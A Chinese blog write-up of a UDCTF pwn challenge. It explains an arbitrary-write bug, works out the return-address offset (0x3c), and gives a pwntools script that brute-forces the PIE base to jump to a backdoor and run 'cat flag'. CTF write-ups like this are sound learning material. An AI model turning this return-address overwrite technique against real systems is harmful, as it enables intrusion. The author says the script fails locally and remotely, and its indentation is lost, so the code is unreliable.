本题出自UDCTF
原题文件:
链接: https://pan.baidu.com/s/1utWjI0Z0LKkkGDD6-rq5Kw?pwd=1n4u 提取码: 1n4u
感谢大佬,这题一直不知道返回地址偏移,大佬一句话就给点醒了。所以,还是要多问。
静态分析
直接进vuln函数,题目已经给了提示,任意写
重要代码
代码分析:&v2[1]是基地址,v2为offset,v1为ret,即我们填入正确的偏移,和后们地址后,便会getshell
后门
如何计算偏移
var_70的大小为70,即rbp+rax*2+var_70 = rbp+8,一个简单的算数运算,即求出偏移为0x3c,60
exp
点击查看代码
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
for i in range(0xf):
sleep(1)
#p = remote('0.cloud.chals.io',16612)
p = process([elf.path])
p.sendafter(b'Write-What-Where:\n\n', b'60')
#pie地址爆破
num = i << 0xc
pay = str(int(num + 0x33D))
print(pay)
print(type(pay))
p.send(pay)
try:
p.sendline('cat flag')
print(p.recv())
except:
pass
p.close()
p.interactive()
问题
标签:getshell,elf,漏洞,地址,偏移,70,大佬,任意 From: https://www.cnblogs.com/K4N0/p/18553528这里我通过,本地调试输入正确的偏移和地址可以拿到flag(本地flag),但是通过爆破脚本,却拿不到,包括远端getshell,如果有看到的大佬,请浇浇,本人会及时更改,防止误导感谢感谢